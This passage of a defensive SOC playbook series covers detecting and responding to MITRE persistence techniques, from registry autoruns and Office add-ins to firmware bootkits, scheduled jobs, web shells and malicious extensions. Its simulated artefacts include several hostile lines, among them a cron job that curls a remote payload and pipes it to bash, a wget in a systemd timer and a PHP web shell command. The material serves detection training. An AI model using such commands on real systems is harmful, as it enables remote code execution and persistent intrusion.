- Enforce strict change control on authentication components
- Monitor authentication modules, not just logins
- Audit hybrid identity sync continuously
- Correlate identity change → authentication anomaly → persistence

Playbook 62 (MITRE Persistence): Modify Registry

Technique: Modify Registry

Purpose

Detect, investigate and respond to adversaries achieving persistence by modifying the Windows Registry, enabling attackers to:

- Execute malicious code automatically at startup or logon
- Hijack execution flow of trusted processes
- Establish stealthy, fileless persistence
- Maintain access without creating new binaries or services
- Survive reboots and basic cleanup

Modify Registry is persistence via configuration abuse attackers don't need malware files when Windows itself is instructed to run their code.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious registry changes, including:

- New or modified Run / RunOnce keys
- Registry entries referencing unusual executables or scripts
- Persistence without scheduled tasks or services
- Registry writes by non-admin or unexpected processes
- Execution triggered immediately after user logon or system start

Example use case scenario (end-to-end)

Context: SOC detects a PowerShell process executing every time a user logs in. No scheduled tasks or services exist. Registry analysis reveals a malicious command embedded in:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Attacker objective: Achieve low-noise, reliable persistence using native Windows configuration.

Defender objective: Remove registry-based persistence and prevent reinfection.

What it looks like (simulated SOC artefacts)

A) Run Key Persistence

Key=HKCU\...\Run

ValueName=UpdateCheck

ValueData=powershell.exe -enc <base64>

B) System-Level Persistence

Key=HKLM\...\Run

RunAs=SYSTEM

C) Execution Trigger

Trigger=UserLogon

NoScheduledTask=True

D) Obfuscated Payload

Command=Encoded PowerShell

E) Living-off-the-Land Abuse

Binary=powershell.exe

Signature=Microsoft Signed

F) Follow-on Activity

NextAction=CommandAndControl

Severity decision (SOC)

High

- Registry persistence limited to user context

Critical

- System-level registry persistence
- Registry entries enabling C2, credential theft or lateral movement

Example severity: Critical

(Stealthy registry-based persistence)

Step-by-step SOC workflow

Step 1 Validate registry-based persistence

Confirm:

1. Is the registry entry unauthorised or undocumented?
2. Does it execute code automatically?
3. Is the command obfuscated or suspicious?
4. Does it persist across reboot or logon?

Decision point

- Legitimate startup configuration → validate owner
- Malicious registry persistence → escalate immediately

Step 2 Identify scope and registry location

Registry Area	Evidence	Attacker value
Run / RunOnce	Auto-exec	Simplicity
Winlogon keys	Logon hijack	Stealth
IFEO	Execution redirection	Control
Explorer shell	Startup abuse	Reliability
Policy keys	Forced persistence	Defense evasion

Step 3 Map behaviour to attacker intent

3A) Reliable Execution

Indicators

- Execution at every logon/startup

Attacker intent

- Maintain access

3B) Fileless Persistence

Indicators

- Registry-only artefacts

Attacker intent

- Evade file-based detection

3C) Trust Abuse

Indicators

- Signed system binaries executing payloads

Attacker intent

- Blend into normal behaviour

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Network connections after logon
2. Defense Evasion
 - Obfuscation, disable logging
3. Privilege Escalation
 - SYSTEM-level registry keys
4. Lateral Movement
 - Credential abuse post-logon

Decision point

Follow-on detected → escalate to Major Incident IR

Containment actions

Immediate

1. Remove malicious registry entries
2. Isolate affected endpoints
3. Block associated payload execution

If registry persistence confirmed

1. Preserve registry artefacts for forensics
2. Identify processes that created the keys
3. Reset affected user credentials
4. Notify SOC leadership and Windows platform owners

Eradication and recovery

- Clean all unauthorised registry persistence entries
- Validate registry permissions and ownership
- Rebuild system if registry integrity is uncertain
- Harden PowerShell and script execution
- Monitor closely for re-creation of keys

Detection engineering (SIEM ideas)

A) Registry autorun creation

```
index=windows
| where event_type="registry_add"
| where registry_path LIKE "%\\Run%"
```

B) Obfuscated command in registry

```
index=windows
| where registry_value LIKE "%-enc%"
```

C) Registry persistence without task/service

```
index=edr
| where persistence="registry"
```

Analyst checklist

- Registry persistence confirmed
- Malicious keys removed
- Source process identified
- Credentials reviewed
- Incident escalated appropriately

Post-incident improvements

- Treat registry autoruns as high-risk persistence mechanisms
- Monitor registry writes continuously
- Restrict registry modification privileges
- Baseline approved startup registry keys
- Correlate registry write → execution → network activity

Playbook 63 (MITRE Persistence): Office Application Startup

Technique: Office Application Startup

Sub-techniques:

- Office Template Macros
- Office Test
- Outlook Forms
- Outlook Home Page
- Outlook Rules
- Add-ins

Purpose

Detect, investigate and respond to adversaries establishing persistence by abusing Microsoft Office startup and extensibility features, enabling attackers to:

- Execute malicious code whenever Office applications launch
- Persist at the user level without system autoruns
- Blend malicious logic into common productivity workflows
- Leverage trusted Office processes to evade detection
- Maintain access without elevated privileges

Office Application Startup is persistence through user productivity attackers hide where users work every day.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected or malicious Office startup behaviour, including:

- Code execution immediately after Word/Excel/Outlook launch
- Suspicious macros or add-ins loading automatically
- Outlook performing actions without user interaction
- Persistence surviving reboots without services or tasks
- Office processes spawning PowerShell, cmd or network activity

Example use case scenario (end-to-end)

Context: SOC detects PowerShell execution every morning shortly after a user opens Outlook. No scheduled tasks or registry autoruns are present. Investigation reveals a malicious Outlook rule that launches a hidden script when specific emails arrive.

Attacker objective: Maintain reliable, low-noise persistence tied to normal Office usage.

Defender objective: Remove Office-based persistence and prevent reinfection.

What it looks like (simulated SOC artefacts)

A) Office Template Macro

Template=Normal.dotm
Macro=AutoOpen()
Action=DownloadAndExecute

B) Office Test Abuse

Key=HKCU\Software\Microsoft\Office\<ver>\Test
Value=cmd.exe /c powershell -enc ...

C) Outlook Forms

Form=IPM.Note.Custom
Script=VBScript
Trigger=Open

D) Outlook Home Page

Folder=Inbox
HomePageURL=file:///C:/Users/Public/page.html

E) Outlook Rules

RuleName=Invoice Processing
Action=RunScript hidden.ps1

F) Office Add-ins

AddIn=update.xlam
LoadBehavior=Startup
Signature=Unsigned

G) Follow-on Activity

NextAction=CommandAndControl

Severity decision (SOC)

Medium

- User-level Office persistence with limited scope

High

- Office persistence enabling C2, credential access or lateral movement

Critical

- Widespread Office startup compromise across multiple users

Example severity: High

(User-level stealth persistence via Office startup)

Step-by-step SOC workflow

Step 1 Validate Office-based persistence

Confirm:

1. Does code execute only when Office apps start?
2. Are macros, add-ins or Outlook features unauthorised?
3. Is execution consistent with user behaviour (open email, doc)?
4. Does persistence survive reboot without system artefacts?

Decision point

- Legitimate Office automation → validate ownership
- Malicious Office persistence → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Template macros	AutoOpen logic	Reliability
Office Test	Hidden registry exec	Stealth
Outlook Forms	Scripted forms	Trigger control
Outlook Home Page	HTML execution	Evasion
Outlook Rules	Script execution	Persistence
Add-ins	Auto-load code	Durability

Step 3 Map behaviour to attacker intent

3A) User-Triggered Persistence

Indicators

- Execution only when Office opens

Attacker intent

- Blend into daily activity

3B) Trust Abuse

Indicators

- Microsoft-signed Office binaries

Attacker intent

- Evade allowlisting

3C) Low-Privilege Durability

Indicators

- No admin rights required

Attacker intent

- Persist quietly per user

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Network beacons from WINWORD.EXE / OUTLOOK.EXE
2. Credential Access
 - Token theft, input capture
3. Defense Evasion
 - Obfuscated macros or scripts
4. Lateral Movement
 - Phishing using compromised mailbox

Decision point

- Follow-on detected → escalate to Major Incident IR

Containment actions

Immediate

1. Disable macros, add-ins and suspicious Outlook rules
2. Isolate affected user endpoints
3. Block external destinations contacted by Office

If Office persistence confirmed

1. Preserve malicious templates, rules and add-ins
2. Reset affected user credentials
3. Notify SOC leadership and End-User Computing teams

Eradication and recovery

- Remove malicious Office artefacts (templates, add-ins, rules)
- Restore clean Office profiles
- Enforce macro security and add-in controls
- Rebuild user profiles if required
- Monitor for re-creation of Office persistence

Detection engineering (SIEM ideas)

A) Office spawning scripting engines

```
index=edr  
| where parent_process IN ("WINWORD.EXE","EXCEL.EXE","OUTLOOK.EXE")  
| where process_name IN ("powershell.exe","cmd.exe","wscript.exe")
```

B) Outlook rule creation or modification

```
index=windows  
| where event_type="outlook_rule_change"
```

C) Unsigned Office add-ins loading

```
index=edr  
| where event="add_in_load"  
| where signature_status!="Signed"
```

Analyst checklist

- Office startup persistence confirmed
- Sub-technique identified
- Malicious Office artefacts removed

- User credentials reviewed
- Incident escalated appropriately

Post-incident improvements

- Treat Office extensibility as a persistence surface
- Enforce macro and add-in allowlists
- Monitor Outlook rules and forms continuously
- Educate users on Office-based threats
- Correlate Office startup → execution → network activity

Playbook 64 (MITRE Persistence): Power Settings

Technique: Power Settings

Purpose

Detect, investigate and respond to adversaries establishing persistence by modifying system power management settings, enabling attackers to:

- Ensure systems remain powered on for access and C2
- Prevent sleep, hibernation or shutdown that would disrupt malware
- Trigger execution on power events (resume, wake, lid open)
- Maintain long-running malicious processes
- Degrade user awareness by altering expected power behaviour

Power Settings is persistence through uptime control attackers keep the system awake, reachable and predictable.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious changes to power configuration, including:

- Sleep or hibernation disabled without approval
- Power plans modified shortly after compromise
- Wake timers or resume actions correlated with malicious execution
- Laptops failing to sleep or shutting down unexpectedly
- Long-lived malware processes that survive idle periods

Example use case scenario (end-to-end)

Context: SOC notices a user laptop continuously beaconing overnight despite lid closure. Investigation shows power sleep timers were disabled and wake timers enabled. A malicious agent relies on constant uptime to maintain C2 connectivity.

Attacker objective: Guarantee continuous availability of the compromised host.

Defender objective: Restore normal power behaviour and disrupt attacker persistence.

What it looks like (simulated SOC artefacts)

A) Sleep Disabled

PowerSetting=Sleep

Value=Never
ChangedBy=UnknownProcess

B) Hibernation Disabled

Command=powercfg /hibernate off

C) Wake Timers Enabled

WakeTimers=Enabled
Source=Unknown

D) Resume-Based Execution

Event=ResumeFromSleep
Process=malware.exe

E) User Impact

UserReport=Laptop stays awake overnight

F) Follow-on Activity

NextAction=CommandAndControl

Severity decision (SOC)

Medium

- Power settings modified without direct malicious execution

High

- Power settings supporting malware uptime or C2

Critical

- Power configuration used to guarantee persistent attacker control across many endpoints

Example severity: High

(Persistence supported by power configuration abuse)

Step-by-step SOC workflow

Step 1 Validate power-setting abuse

Confirm:

1. Were power settings changed without user or IT approval?
2. Do changes support malware uptime or execution?
3. Are changes persistent across reboots?
4. Is there correlation with malicious activity?

Decision point

- Legitimate power policy → validate ownership
- Malicious power-setting persistence → escalate

Step 2 Identify scope and technique

Indicator	Evidence	Attacker value
Sleep disabled	Powercfg changes	Continuous access
Hibernation off	Memory retained	Stability
Wake timers	Resume triggers	Execution control
Plan modification	Policy abuse	Stealth
User impact	Abnormal behaviour	Persistence

Step 3 Map behaviour to attacker intent

3A) Maintain Uptime

Indicators

- No sleep or shutdown

Attacker intent

- Keep C2 alive

3B) Execution Reliability

Indicators

- Resume-based triggers

Attacker intent

- Re-run payloads

3C) Disruption Avoidance

Indicators

- Prevent idle termination

Attacker intent

- Avoid losing foothold

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Persistent beacons during idle hours
2. Defense Evasion
 - Long-running processes avoiding restart
3. Persistence
 - Scheduled tasks or services tied to power events
4. Impact
 - Data exfiltration during off-hours

Decision point

- Follow-on detected → escalate to Major Incident IR

Containment actions

Immediate

1. Restore default power settings
2. Suspend wake timers

3. Isolate affected endpoints if malware present

If power-setting abuse confirmed

1. Preserve power configuration changes for forensics
2. Identify process or user responsible for changes
3. Remove associated malware or persistence
4. Notify SOC leadership and End-User Computing teams

Eradication and recovery

- Reset power plans to organisational baselines
- Re-enable sleep and hibernation
- Remove malware relying on uptime
- Patch and harden affected systems
- Monitor for reapplication of power changes

Detection engineering (SIEM ideas)

A) Power configuration changes

```
index=windows  
| where event_type="powercfg_change"
```

B) Resume-triggered execution

```
index=edr  
| where event="resume"  
| where process_name NOT IN expected_resume_processes
```

C) Overnight network activity

```
index=netflow  
| where _time IN off_hours  
| where host_type="Laptop"
```

Analyst checklist

- Power-setting persistence confirmed
- Malicious dependency on uptime identified
- Power policies restored

- Malware removed
- Incident escalated appropriately

Post-incident improvements

- Treat power management as a persistence-enabler
- Monitor power setting changes centrally
- Enforce baseline power policies via MDM/GPO
- Correlate power config → uptime → malicious activity
- Include power-abuse scenarios in SOC training

Playbook 65 (MITRE Persistence): Pre-OS Boot

Technique: Pre-OS Boot

Sub-techniques:

- System Firmware
- Component Firmware
- Bootkit
- ROMMONkit
- TFTP Boot

Purpose

Detect, investigate and respond to adversaries achieving persistence before the operating system loads, enabling attackers to:

- Survive OS reinstallation, disk replacement and reimaging
- Execute malicious code prior to security controls
- Hide from endpoint detection and response tooling
- Control boot flow and system integrity
- Maintain the most durable and stealthy foothold possible

Pre-OS Boot persistence is below the OS trust boundary once compromised, the attacker owns the machine lifecycle.

When to trigger this playbook

Trigger this playbook when indicators suggest firmware- or boot-level compromise, including:

- Repeated reinfection after clean OS installs
- Unexpected changes to firmware or boot configuration
- Secure Boot or TPM anomalies
- Network devices behaving maliciously before OS load
- Systems booting via unexpected network paths (PXE/TFTP)

Example use case scenario (end-to-end)

Context: SOC rebuilds a workstation multiple times after malware incidents. Each rebuild results in identical outbound beacons shortly after boot. Firmware analysis reveals a modified UEFI module executing before Windows loads.

Attacker objective: Achieve near-permanent persistence that survives all traditional remediation.

Defender objective: Identify firmware compromise and restore hardware trust.

What it looks like (simulated SOC artefacts)

A) System Firmware Compromise

Firmware=UEFI
Module=DXE
Integrity=Modified

B) Component Firmware

Component=NIC Firmware
Version=Unknown
Behaviour=Early Network Traffic

C) Bootkit

BootSector=Altered
OSLoader=Hooked

D) ROMMONkit (Network Devices)

Device=Router
ROMMON=Modified
BootIntegrity=Failed

E) TFTP Boot Abuse

BootMethod=PXE
TFTPServer=Unknown
Image=boot.img

F) Persistence Confirmation

OSReinstall=Performed
MaliciousBehaviour=Persists

Severity decision (SOC)

High

- Suspected firmware compromise without confirmation

Critical

- Confirmed boot-level or firmware persistence
- Persistence survives OS rebuilds or disk replacement

Example severity: Critical

(Loss of hardware-level trust)

Step-by-step SOC workflow

Step 1 Validate pre-OS persistence

Confirm:

1. Does compromise survive OS reinstall or disk wipe?
2. Are there firmware, bootloader or ROM changes?
3. Is behaviour observable before OS services start?
4. Are Secure Boot, TPM or firmware measurements abnormal?

Decision point

- OS-level reinfection → investigate persistence mechanisms
- Pre-OS compromise → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
System firmware	UEFI/BIOS tampering	Ultimate persistence
Component firmware	NIC, disk, BMC	Early execution
Bootkit	Bootloader hooks	OS control
ROMMONkit	Network device takeover	Infrastructure access
TFTP boot	Rogue images	Supply-chain persistence

Step 3 Map behaviour to attacker intent

3A) Absolute Persistence

Indicators

- Survives rebuilds and wipes

Attacker intent

- Permanent foothold

3B) Security Control Bypass

Indicators

- Executes before EDR/AV

Attacker intent

- Total evasion

3C) Infrastructure Control

Indicators

- Network or firmware-level hooks

Attacker intent

- Broad environment access

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Beacons from freshly booted systems
2. Credential Access
 - Pre-OS credential interception
3. Lateral Movement
 - Network device or PXE abuse
4. Impact
 - Espionage, sabotage, destructive attacks

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Isolate affected hardware from all networks
2. Suspend further rebuild attempts
3. Preserve affected systems for forensic analysis

If pre-OS persistence confirmed

1. Treat incident as hardware-level compromise
2. Engage hardware vendors and OEMs
3. Notify SOC leadership, IT Ops, Risk and Executive Management
4. Prepare for device replacement, not repair

Eradication and recovery

- Reflash firmware using trusted, offline tools
- Replace compromised hardware if integrity cannot be guaranteed
- Restore Secure Boot, TPM and measured boot
- Audit PXE/TFTP infrastructure
- Rebuild systems from known-good hardware roots

Detection engineering (SIEM ideas)

A) Secure Boot / TPM anomalies

```
index=windows  
| where event_type IN ("secure_boot_violation","tpm_measurement_fail")
```

B) Network traffic immediately post-boot

```
index=netflow  
| where host_uptime < 5  
| where dest_ip IN suspicious_list
```

C) Firmware integrity drift

```
index=fim  
| where object_type="firmware"  
| where integrity_status="Modified"
```

Analyst checklist

- Pre-OS persistence suspected or confirmed
- Firmware / boot components analysed
- Hardware isolated
- Executive escalation completed
- Replacement or re-trust plan initiated

Post-incident improvements

- Treat firmware and boot components as Tier-0 assets
- Enforce Secure Boot and measured boot everywhere
- Restrict firmware update privileges
- Monitor PXE/TFTP usage aggressively
- Maintain rapid hardware replacement playbooks

Playbook 66 (MITRE Persistence): Scheduled Task / Job

Technique: Scheduled Task / Job

Sub-techniques:

- At
- Cron
- Scheduled Task
- Systemd Timers
- Container Orchestration Job

Purpose

Detect, investigate and respond to adversaries achieving persistence by scheduling malicious execution, enabling attackers to:

- Re-execute payloads after reboot or at fixed intervals
- Recover access if malware is terminated
- Blend into legitimate administrative automation
- Trigger delayed or conditional execution
- Maintain long-term access with minimal footprint

Scheduled Task / Job is time-based persistence attackers let the system call them back.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious scheduled execution, including:

- Unknown tasks or jobs running periodically
- Execution occurring at odd hours or after reboot
- Tasks created by non-admin or unexpected processes
- Scheduled execution launching scripting engines
- Persistence that survives reboot without services or autoruns

Example use case scenario (end-to-end)

Context: SOC observes PowerShell execution every 30 minutes from a workstation, even after malware removal. Task inspection reveals a hidden Windows Scheduled Task executing an encoded command.

Attacker objective: Maintain reliable re-execution and regain access automatically.

Defender objective: Remove scheduled persistence and identify the initial creation vector.

What it looks like (simulated SOC artefacts)

A) Windows Scheduled Task

TaskName=UpdateCheck
Trigger=Every 30 minutes
Action=powershell.exe -enc <base64>
Author=Unknown

B) Linux Cron Job

```
*/15 * * * * root /usr/bin/curl http://x.x.x.x/payload.sh | bash
```

C) Legacy AT Job

```
at 02:00 /interactive cmd.exe /c backdoor.exe
```

D) systemd Timer

Timer=net-sync.timer
Service=net-sync.service
ExecStart=/bin/bash -c "wget ..."

E) Container Orchestration Job

Platform=Kubernetes
Job=cleanup-job
Image=unknown:latest
Schedule=*/10 * * * *

F) Follow-on Activity

NextAction=CommandAndControl

Severity decision (SOC)

Medium

- User-level scheduled job with limited impact

High

- System-level or server-side scheduled execution

Critical

- Scheduled jobs enabling C2, credential access or lateral movement across many systems

Example severity: High

(Reliable scheduled persistence)

Step-by-step SOC workflow

Step 1 Validate scheduled persistence

Confirm:

1. Is the task/job unauthorised or undocumented?
2. Does it execute code automatically?
3. Is the command obfuscated, remote or suspicious?
4. Does it persist across reboot?

Decision point

- Legitimate automation → validate owner and approval
- Malicious scheduled persistence → escalate

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
At	Legacy one-time or interactive exec	Stealth
Cron	Periodic execution	Reliability
Scheduled Task	Fine-grained triggers	Control
Systemd Timers	Root-level automation	Durability
Container Job	Cloud-native persistence	Scale

Step 3 Map behaviour to attacker intent

3A) Reliable Re-Execution

Indicators

- Execution at fixed intervals

Attacker intent

- Regain foothold automatically

3B) Delayed or Conditional Access

Indicators

- Night-time or idle-based triggers

Attacker intent

- Avoid user detection

3C) Blending with Operations

Indicators

- Task names mimicking maintenance

Attacker intent

- Evade admin scrutiny

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Network traffic following task execution
2. Defense Evasion
 - Obfuscated scripts, LOLBins
3. Privilege Escalation
 - SYSTEM or root-level tasks
4. Lateral Movement
 - Tasks deploying tools elsewhere

Decision point

- Follow-on detected → escalate to Major Incident IR

Containment actions

Immediate

1. Disable or delete malicious tasks/jobs
2. Isolate affected hosts if active malware present

3. Block external resources referenced by jobs

If scheduled persistence confirmed

1. Preserve task/job definitions for forensics
2. Identify process or user that created the job
3. Reset affected credentials
4. Notify SOC leadership and platform owners

Eradication and recovery

- Remove all unauthorised scheduled tasks/jobs
- Validate system cron, task scheduler and timers
- Patch initial access vectors
- Harden task creation permissions
- Monitor closely for task re-creation

Detection engineering (SIEM ideas)

A) New scheduled task creation

index=windows
| where event_type="task_created"

B) Cron or systemd modification

index=linux
| where file_path IN ("/etc/crontab", "/etc/cron.d", "/etc/systemd/system")

C) Container job scheduling

index=cloud
| where action="create_job"
| where schedule IS NOT NULL

Analyst checklist

- Scheduled persistence confirmed
- Sub-technique identified
- Malicious jobs removed
- Creation source identified
- Incident escalated appropriately

Post-incident improvements

- Treat scheduled execution as a primary persistence vector
- Baseline approved tasks and jobs
- Alert on task creation with scripting engines
- Restrict who can schedule system-level jobs
- Correlate task creation → execution → network activity

BY IZMER IZUDDIN

Playbook 67 (MITRE Persistence): Server Software Component

Technique: Server Software Component

Sub-techniques:

- SQL Stored Procedures
- Transport Agent
- Web Shell
- IIS Components
- Terminal Services DLL
- vSphere Installation Bundles

Purpose

Detect, investigate and respond to adversaries achieving persistence by embedding malicious logic directly into server-side software components, enabling attackers to:

- Persist on high-value servers rather than endpoints
- Execute malicious code as part of legitimate server operations
- Survive service restarts and application updates
- Blend into backend workflows and administrative tooling
- Maintain privileged, long-term access to critical infrastructure

Server Software Component persistence is back-end persistence attackers hide inside the services organisations depend on.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected or malicious behaviour originating from server components, including:

- Database servers executing network calls or OS commands
- Mail servers modifying or exfiltrating messages silently
- Web servers executing unauthorised code without new deployments
- Virtualisation platforms behaving abnormally post-update
- Persistence that survives application restarts but not OS rebuilds

Example use case scenario (end-to-end)

Context: SOC detects outbound HTTPS traffic from a SQL Server that should have no internet access. Investigation reveals a malicious SQL stored procedure executing PowerShell via xp_cmdshell.

Attacker objective: Maintain persistent, privileged execution within a critical server role.

Defender objective: Remove server-embedded persistence and restore application trust.

What it looks like (simulated SOC artefacts)

A) SQL Stored Procedure Abuse

Procedure=sp_syncdata
Action=xp_cmdshell powershell.exe -enc ...
Creator=Unknown

B) Mail Transport Agent

MailServer=Exchange
TransportAgent=UpdateAgent.dll
Action=CopyOutboundMail

C) Web Shell

Path=/var/www/html/.cache/.cmd.php
Access=POST
Command=system(\$_POST['cmd'])

D) IIS Component

Module=HttpModule
Assembly=customauth.dll
LoadOnStartup=True

E) Terminal Services DLL

File=termsrv.dll
Integrity=Modified
Hook=Authentication

F) vSphere Installation Bundle

Bundle=esx-base.vib
Signature=Invalid
PostInstallScript=enabled

G) Follow-on Activity

NextAction=LateralMovement

Severity decision (SOC)

High

- Persistence limited to a single non-critical server

Critical

- Persistence embedded in core infrastructure (DB, mail, web, virtualisation)
- Privileged execution within server processes

Example severity: Critical

(Back-end persistence on Tier-0 infrastructure)

Step-by-step SOC workflow

Step 1 Validate server-side persistence

Confirm:

1. Is malicious logic embedded within server software?
2. Does execution occur as part of normal service operation?
3. Does persistence survive service restarts?
4. Is access privileged by default?

Decision point

- Legitimate plugin/extension → validate approval and integrity
- Malicious server component → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
SQL procedures	OS command execution	DB control
Transport agents	Mail access	Data theft
Web shells	Remote command exec	Stealth
IIS components	Auth / request control	Persistence
Terminal Services DLL	Session hijacking	Privilege
vSphere bundles	Hypervisor access	Infrastructure takeover

Step 3 Map behaviour to attacker intent

3A) Privileged Persistence

Indicators

- Execution inside server process context

Attacker intent

- High-trust execution

3B) Stealth and Durability

Indicators

- No new services or tasks

Attacker intent

- Blend into operations

3C) Infrastructure Leverage

Indicators

- Control of DB, mail, web or hypervisor

Attacker intent

- Broad environment dominance

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. **Lateral Movement**
 - Credential access from servers
2. **Credential Access**
 - Service account abuse
3. **Command and Control**
 - Backend beacons
4. **Impact**
 - Data exfiltration, sabotage, ransomware staging

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Isolate affected servers from the network
2. Disable malicious components where possible
3. Suspend dependent services if required

If server component persistence confirmed

1. Preserve binaries, scripts and configs for forensics
2. Identify how the component was introduced
3. Notify SOC leadership, Platform Owners and Management
4. Treat incident as Tier-0 compromise if applicable

Eradication and recovery

- Remove malicious stored procedures, agents, modules or bundles
- Reinstall affected server software from trusted sources
- Rotate all server and service account credentials
- Patch vulnerabilities enabling component injection
- Rebuild servers if integrity cannot be guaranteed

Detection engineering (SIEM ideas)

A) SQL Server executing OS commands

```
index=db  
| where command IN ("xp_cmdshell","sp_OACreate")
```

B) Web server unexpected file execution

```
index=web  
| where uri LIKE "%.php"  
| where file_path NOT IN approved_paths
```

C) Server module or bundle integrity changes

```
index=fim  
| where object_type IN ("dll","vib","module")  
| where integrity_status="Modified"
```

Analyst checklist

- Server-side persistence confirmed
- Sub-technique identified
- Malicious components removed
- Credential rotation completed
- Incident escalated appropriately

Post-incident improvements

- Treat server components as persistence attack surfaces
- Enforce strict integrity monitoring on server software
- Restrict extension/plugin installation
- Monitor server processes for outbound connections
- Correlate server execution → privilege → lateral movement

Playbook 68 (MITRE Persistence): Software Extensions

Technique: Software Extensions

Sub-techniques:

- Browser Extensions
- IDE Extensions

Purpose

Detect, investigate and respond to adversaries achieving persistence by abusing extensibility mechanisms in browsers and development environments, enabling attackers to:

- Maintain execution inside trusted user applications
- Persist across reboots, logouts and application restarts
- Capture credentials, tokens and sensitive data
- Inject malicious logic into developer or browsing workflows
- Evade traditional autorun, service and task monitoring

Software Extensions is persistence via trust transference attackers hide inside tools users inherently trust and constantly use.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious browser or IDE extensions, including:

- New extensions installed without user awareness
- Extensions with excessive or unrelated permissions
- Browser or IDE processes initiating network connections unexpectedly
- Persistence that survives reboots without system artefacts
- Developer environments behaving abnormally (build tampering, credential leaks)

Example use case scenario (end-to-end)

Context: SOC detects repeated authentication token leakage from a developer workstation. No malware is found. Investigation reveals a malicious VS Code extension exfiltrating source code and cloud credentials.

Attacker objective: Maintain stealthy, long-term access through trusted productivity tooling.

Defender objective: Remove extension-based persistence and protect user and developer environments.

What it looks like (simulated SOC artefacts)

A) Browser Extension Persistence

Browser=Chrome
ExtensionID=abcd1234
Permissions=ReadAllWebsites, Clipboard, Cookies
InstallSource=External

B) Silent Auto-Load

ExtensionState=Enabled
LoadOnStartup=True
UserPrompt=False

C) IDE Extension Abuse

IDE=VSCode
Extension=cloud-helper
Action=ReadWorkspace
Network=api.external-domain.com

D) Credential Access

Data=OAuth Token
Source=Browser Storage

E) Trusted Process Execution

Process=chrome.exe
Process=code.exe

F) Follow-on Activity

NextAction=CredentialAccess

Severity decision (SOC)

Medium

- Single-user extension abuse with limited data exposure

High

- Credential theft, code access or persistent data exfiltration

Critical

- Widespread extension abuse across users or developer environments

Example severity: High

(Stealth persistence inside trusted applications)

Step-by-step SOC workflow

Step 1 Validate extension-based persistence

Confirm:

1. Is the extension unauthorised or unapproved?
2. Does it auto-load on application start?
3. Does it request excessive permissions?
4. Is it communicating externally or manipulating data?

Decision point

- Approved extension → validate integrity and behaviour
- Malicious extension → escalate

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Browser extensions	Cookie/token access	Credential theft
IDE extensions	Code/workspace access	IP theft
Auto-update abuse	Remote code updates	Durability
Trusted context	Signed host process	Evasion

Step 3 Map behaviour to attacker intent

3A) Trust Abuse

Indicators

- Runs inside Chrome / IDE

Attacker intent

- Evade security scrutiny

3B) Data-Centric Persistence

Indicators

- Continuous access to browsing or code

Attacker intent

- Steal credentials and IP

3C) User-Level Durability

Indicators

- Survives reboot without system artefacts

Attacker intent

- Long-term foothold

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Cookies, OAuth tokens, API keys
2. Collection
 - Source code, browsing data
3. Command and Control
 - External API communications
4. Lateral Movement
 - Abuse of developer credentials

Decision point

- Follow-on detected → escalate to Major Incident IR

Containment actions

Immediate

1. Disable and remove malicious extensions
2. Isolate affected endpoints if data exfiltration suspected

3. Block extension C2 endpoints

If extension persistence confirmed

1. Preserve extension packages and configs for forensics
2. Reset affected user and developer credentials
3. Notify SOC leadership and Endpoint / DevOps teams

Eradication and recovery

- Remove unauthorised extensions across all affected systems
- Enforce extension allowlists
- Rebuild browser or IDE profiles if needed
- Rotate exposed credentials
- Monitor for reinstallation attempts

Detection engineering (SIEM ideas)

A) New extension installation

```
index=endpoint  
| where event_type="extension_install"  
| where source!="official_store"
```

B) Browser/IDE outbound traffic anomalies

```
index=netflow  
| where process IN ("chrome.exe","msedge.exe","code.exe")  
| where dest_domain NOT IN approved_list
```

C) Excessive permission extensions

```
index=endpoint  
| where extension_permissions LIKE "%cookies%"
```

Analyst checklist

- Extension-based persistence confirmed
- Sub-technique identified
- Malicious extensions removed
- Credentials rotated
- Incident escalated appropriately

Post-incident improvements

- Treat extensions as persistence mechanisms, not just add-ons
- Enforce browser and IDE extension governance
- Monitor extension install and update events
- Educate users and developers on extension risks
- Correlate extension install → data access → network activity

BY IZMER IZUDDIN

Playbook 69 (MITRE Persistence): Traffic Signaling

Technique: Traffic Signaling

Sub-techniques:

- Port Knocking
- Socket Filters

Purpose

Detect, investigate and respond to adversaries achieving persistence by embedding covert network-based triggers that control access or execution, enabling attackers to:

- Keep backdoors dormant until a specific signal is received
- Avoid constant listening services that raise alerts
- Hide persistence behind legitimate network behaviour
- Enable on-demand access without local user interaction
- Survive reboots with minimal on-host artefacts

Traffic Signaling is persistence through invisibility attackers wait silently until the network tells them to wake up.

When to trigger this playbook

Trigger this playbook when indicators suggest covert network-triggered persistence, including:

- Services activating only after specific connection patterns
- No open listening ports despite confirmed remote access
- Unusual packet sequences preceding execution
- Kernel- or network-layer components modifying traffic handling
- Persistence that appears inactive until external interaction

Example use case scenario (end-to-end)

Context: SOC detects intermittent remote access to a Linux server, but netstat shows no listening ports. Packet capture reveals a specific sequence of TCP SYN packets triggering a hidden SSH backdoor via port knocking.

Attacker objective: Maintain stealthy, on-demand persistence without exposing services.

Defender objective: Identify and disable network-triggered persistence mechanisms.

What it looks like (simulated SOC artefacts)

A) Port Knocking Sequence

SourceIP=203.0.113.10
Sequence=TCP:1111,2222,3333
Result=SSH Port Opened

B) Dormant State

Service=sshd
Status=Closed
BeforeSignal=True

C) Post-Signal Activation
